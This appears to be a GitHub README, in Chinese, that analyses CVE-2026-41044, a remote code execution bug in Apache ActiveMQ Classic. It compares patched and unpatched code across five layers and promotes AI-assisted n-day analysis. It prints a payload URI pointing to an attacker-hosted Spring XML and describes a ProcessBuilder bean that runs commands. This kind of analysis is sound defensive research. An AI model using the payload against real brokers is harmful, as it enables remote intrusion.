mrillicit/CVE-2026-41044
GitHub: mrillicit/CVE-2026-41044
对 Apache ActiveMQ Classic CVE-2026-41044 远程代码执行漏洞的完整技术分析,涵盖从补丁差异比对到五层利用链还原的全过程,并演示了 AI 辅助加速 N-Day 漏洞根因分析的方法论。
Stars: 0 | Forks: 0
# CVE-2026-41044
| 注意:仅供学习用途
# 从安全通告到根因分析只需一个下午:AI 如何加速 N-Day 漏洞分析
### 一份简短、真实的 CVE-2026-41044(Apache ActiveMQ)演练,使用了修补前后的确切代码以及推导出漏洞的提示词。
CVE-2026-41044 于 2026 年 4 月 24 日被披露。这是 Apache ActiveMQ Classic 中的一个远程代码执行(RCE)漏洞,由 `jsjcw` 发现,并在 5.19.6 和 6.2.5 版本中进行了修复。发现该漏洞的人并不是我。
我想展示的是对大多数读者而言更有用的内容:一个以前从未接触过 ActiveMQ 的人,如何在一个下午就能生成该 N-Day 漏洞的有效 exploit。因为已打补丁的代码是公开的,未打补丁的代码也是公开的,两者之间的差异仅需一次 `git diff` 即可显现。
这篇文章分为两部分:第一部分关于工作流本身,以及补丁发布后 N-Day 漏洞如何在几分钟内就被彻底梳理出清晰的根因分析(RCA)。第二部分是该漏洞的真实技术演练,利用了 5.19.2 和 5.19.6 版本之间经过验证的代码差异。
## 第一部分:为什么 N-Day 漏洞分析变得如此高效
几十年来,从“安全通告发布”到“我真正理解这个漏洞”之间的时间通常需要以天来衡量。打开代码库,逐行阅读直到找到受影响的文件,对周围的代码建立心智模型,交叉对照框架文档,撰写笔记。如果这是一个你从未见过的代码库,那么要找到一个有效的 exploit,时间线可能会延长到一周之久。
现在发生改变的并不是 AI 发现了漏洞,而是 AI 能够在你提出问题的同时,以极快的速度阅读并解释代码。这与以下三个长期以来一直存在的事实相结合:
- 开源代码
- 公开的补丁
- 公开的 CVE 描述
这将理解 N-Day 漏洞的时间压缩到了大约只需启动一个实验环境并提出几个好提示词,或者构建你自己的 N-Day Agent 所需的时间。
针对 CVE-2026-41044 的工作流非常简单:
1. 阅读安全通告并记录受影响的文件、CWE 编号以及任何被提及的函数名。
2. 将最后一个存在漏洞的版本与第一个打了补丁的版本并排对比。
3. 让模型对比相关文件的差异并解释代码中的每一项更改。
4. 在本地实验室环境中复现该利用链并进行端到端测试。
过去的瓶颈在于,为了读懂补丁,你需要对陌生的代码库建立起足够的领域知识,而现在这成了成本最低的环节。成本高昂的部分依然是你:判断什么可以被利用、什么是真正的信任边界、需要在框架文档中验证什么。模型本身并没有安全防范意识。它只是比任何人类都能更快地遍历调用图。
对于上面提到的第 3 点,一个有效的提示词模式大致如下。假设磁盘上有两个源代码树,你需要确切地告诉模型要检查哪些文件,并要求针对每个文件提供四样东西:补丁前源码、补丁后源码、合并差异以及不超过四句话的解释。你要指示它引用真实的代码而不是意译,并且如果文件没有发生改变,应直接输出“未改变”,而不是去捏造差异。
针对 ActiveMQ 5.19.2 和 5.19.6 执行的那一个提示词所输出的内容,正是本文剩余部分的依据。五个文件,真实的差异,没有任何推测重构。
从更宏观的角度来看:如果你的补丁修复计划依然假设每个被披露的 CVE 都需要一周的分析时间,那么你仍然在按照旧的时间线运作。攻击者也在运行几乎相同的工作流,只是方向相反。无论你是在编写检测规则还是在编写 exploit,`git diff` 的长度都是一样的。从漏洞披露到武器化利用之间的窗口期在攻防双方都在不断缩小,这意味着唯一持久的优势只剩下打补丁的速度。
## 第二部分:CVE-2026-41044
### 用一段话概述该漏洞
拥有 ActiveMQ 的 Jolokia 管理 API 访问权限的已认证用户,可以使用看似无害、实际上是 URI 查询语法的字符对代理的名称进行注入。当该名称随后被一个不相关的 MBean 操作拼接到 `vm://` URL 中时,其中嵌入的查询参数会指示 ActiveMQ 从攻击者的服务器上获取一份 Spring XML 配置文件。Spring 在构造时会实例化该 XML 中的每一个 bean,其中包括一个带有 `init-method="start"` 的 `ProcessBuilder`,而这一切都发生在 ActiveMQ 对配置结果进行验证从而演变成代码执行之前。
### ActiveMQ 是什么?
ActiveMQ Classic 是一种消息代理中间件,位于生产者和消费者之间并将它们解耦。Web 服务将消息放入队列,工作者稍后再将其取出。
你需要了解以下术语:
- **Broker**:运行中的 ActiveMQ 服务器。由一个名称标识,默认为 `localhost`。
- **Jolokia**:位于 `/api/jolokia/` 的 HTTP 到 JMX 桥接器,将管理操作作为 REST API 暴露出来。许多部署中的默认凭据仍然是 `admin:admin`。
- **`vm://` transport**:当客户端与代理运行在同一个 JVM 中时使用的进程内传输机制。关键是,它可以接受一个指向 Spring XML 配置的 `?brokerConfig=...` 查询参数,从而通过该配置引导启动代理。
- **Spring XML / `xbean:`**:ActiveMQ 的配置是一个 Spring XML 文件。`xbean:` URL scheme 告诉 ActiveMQ “将此 URL 视为 Spring XML 配置并加载它”。Spring 的 `ApplicationContext` 在构造时会实例化该 XML 中的每一个单例 bean,这是一个被文档记录的特性。
### 利用链:五个层次,真实代码
#### 第 1 层:DestinationView 通过字符串拼接构建 URL
这是漏洞入口。5.19.2 中的漏洞代码:
```
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQDestination dest = destination.getActiveMQDestination();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
```
如果 `getBrokerName()` 返回 `localhost?brokerConfig=xbean:http://attacker/poison.xml`,整个字符串就会变成一个嵌入了查询参数的合法 `vm://` URI。`ActiveMQConnectionFactory` 会将其交给 `VMTransportFactory`,后者会将 `brokerConfig` 参数提取出来,并将其用作代理的引导配置。
5.19.6 中的修复后代码:
```
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
```
一行代码中有两处变动。`String` 变成了 `URI`(这样以后就不再可能发生意外的字符串拼接),并且其值来源于一个预先构建好的、不可变的 URI 对象,该对象派生自代理实际注册的 VM 连接器,而不是可变的名称字符串。现在,任何用户控制的内容都无法到达这里了。
#### 第 2 层:RegionBroker 中的注入点
要利用第 1 层,攻击者必须首先将一个有毒的名称注入到 `getBrokerName()` 中。ActiveMQ 在 `BrokerService` 上有一个 setter,它一直使用以下正则表达式清理代理名称:
```
// BrokerService.setBrokerName() - present in BOTH 5.19.2 and 5.19.6
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
// ...
String str = brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
```
该正则会干净利落地拒绝 `?` 和 `=`。这个 CVE 之所以存在,是因为 `RegionBroker` 有自己独立 的 setter 并且没有进行过滤。来自 5.19.2 的代码:
```
// 5.19.2 - RegionBroker.java
private String brokerName; // mutable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // no validation. at all.
}
```
这就是“被混淆的代理人”:两个相关类上的 setter,只有一个会进行清理,而另一个不被清理的 setter 却可以被原作者未考虑到的代码路径访问到(安全通告暗示的路径是远程节点广播精心构造的 `BrokerInfo`)。任何直接调用 `regionBroker.setBrokerName(untrustedString)` 的操作都会绕过该正则表达式。
5.19.6 中的修复极其简单粗暴:删除该 setter,将字段设为 `final`,并从已经过清理的父类一次性初始化它。
```
// 5.19.6 - RegionBroker.java
private final String brokerName; // immutable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerService = Objects.requireNonNull(brokerService);
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(),
"The broker name cannot be null");
// setBrokerName() is gone. There is no setter anymore.
}
```
你无法绕过一个根本没有平行写入方法的过滤器。这是整个补丁中最干净的修复。
#### 第 3 层:VMTransportFactory:刻意保持不变
这是架构上有趣的一点。`VMTransportFactory.doCompositeConnect()` 是一个接收 `vm://...?brokerConfig=...` URI,提取 `brokerConfig` 参数并调用 `BrokerFactory.createBroker(brokerURI)` 的函数。它是整个利用链的触发机制。
Apache 在这里没有做任何修改。
这个选择告诉了你他们对修复方案的思考方式。`VMTransportFactory` 正在做着合法的工作,`vm://` 传输确实应该接受引导配置,这就是该参数的用途。修补它会破坏传输机制原本的设计意图。相反,Apache 在源头(第 2 层:无法写入有毒名称)和汇聚点(下方的第 5 层:即使有毒 URL 穿透进来,资源解析器也不会去获取它)修复了该漏洞。
这就是代码审查中真正的纵深防御:选择属于验证逻辑的层次,而不是攻击者碰巧进入的那一层。
#### 第 4 层:XBeanBrokerFactory 将 URI 交给 Spring
`VMTransportFactory` 和 Spring 之间的联系很短:
```
// XBeanBrokerFactory - same code in both versions
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Layer 5
return new ResourceXmlApplicationContext(resource) { ... };
}
```
`ResourceXmlApplicationContext(resource)` 构造函数是 Spring 执行其生命周期操作的地方——即被文档记录的饥饿式单例实例化,它会在上下文构造时运行每个 bean 的 `init-method`,并且这发生在 ActiveMQ 的 `BrokerService` 验证配置之前。这里也不需要做任何补丁修补。Spring 的契约设计与预期一致;漏洞的根源在于 ActiveMQ 依赖在实例化之前进行验证,而 Spring 并未承诺这种顺序。
#### 第 5 层:Utils.resourceFromString:真正的基础原语修复
这个函数决定了是否应该获取 `xbean:http://attacker/poison.xml`。在 5.19.2 中,整个安全逻辑就是:“如果它看起来像一个 URL,就去获取它。”
```
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? sure.
} catch (FileNotFoundException e) { /* ... */ }
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
```
这里没有协议过滤器。`http://`、`https://`、`ftp://`、`jar://` 全部被接受。5.19.6 的修复引入了第二个重载方法,它接受一个显式的 scheme 白名单,并在构造 `UrlResource` 之前对其进行验证:
```
// 5.19.6 - Utils.java (relevant excerpt)
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
try {
validateUrlAllowed(uri, allowedProtocols); // ← the check
resource = new UrlResource(ResourceUtils.getURL(uri));
}
// ...
}
static void validateUrlAllowed(String uriString, Set allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)){
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
```
`XBeanBrokerFactory` 的调用处现在传递了 `{file, classpath}` 作为白名单。即使在未来的版本中,有毒的代理名称以某种方式到达了这个函数,`http://attacker/poison.xml` 也会在 Spring 看到它之前抛出 `IllegalArgumentException`。这就是在最基础的层面上破坏 RCE 原语的改变。
### 漏洞利用的形态
从概念上讲,该请求的形态是公开的 `vm://...?brokerConfig=xbean:http://...` 链,Horizon3.ai 在相关的 CVE-2026-34197 中记录了这一点。CVE-2026-41044 的入口点不同(必须先通过单独的路径注入代理名称),但一旦 URL 构建完成,其 payload 的形态是完全一致的:
```
vm://localhost?brokerConfig=xbean:http://attacker.example/poison.xml
```
托管在远端的 XML 是直截了当的 Spring 武器化利用:
```
```
在 Spring 构造 `ApplicationContext` 的瞬间,`ProcessBuilder` bean 上的 `init-method="start"` 就会被触发。游戏结束。ActiveMQ 的 `BrokerService.start()` 验证会在那之后运行,而此时 shell 已经执行完毕了。
### 参考文献与致谢
- Apache 安全通告:[CVE-2026-41044](https://activemq.apache.org/security-advisories.data/CVE-2026-41044-announcement.txt)
- 在 ActiveMQ Classic **5.19.6** 和 **6.2.5** 版本中修复
- 漏洞发现者:**jsjcw**
- 相关 CVE 以供参考:[CVE-2026-34197](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) (Horizon3.ai)
- 本文中的代码均直接从 5.19.2 和 5.19.6 源码树中验证过
- 一切都归功于 AI :)
- 由 Varshit Modi 撰写,在 AI 辅助下生成。
标签:AI辅助分析, Apache ActiveMQ, CISA项目, CVE-2026-41044, Git Diff, JS文件枚举, LLM, N-Day漏洞, RCA, RCE, Unmanaged PE, Web报告查看器, 漏洞分析, 漏洞复现, 编程工具, 网络安全, 补丁对比, 路径探测, 远程代码执行, 隐私保护